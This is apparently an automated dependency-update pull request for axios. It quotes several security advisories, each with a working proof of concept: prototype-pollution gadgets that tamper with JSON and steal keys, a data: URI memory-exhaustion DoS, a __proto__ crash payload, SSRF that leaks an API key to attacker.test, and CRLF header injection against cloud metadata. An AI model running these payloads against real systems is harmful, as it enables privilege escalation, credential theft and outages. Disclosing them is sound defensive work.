The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

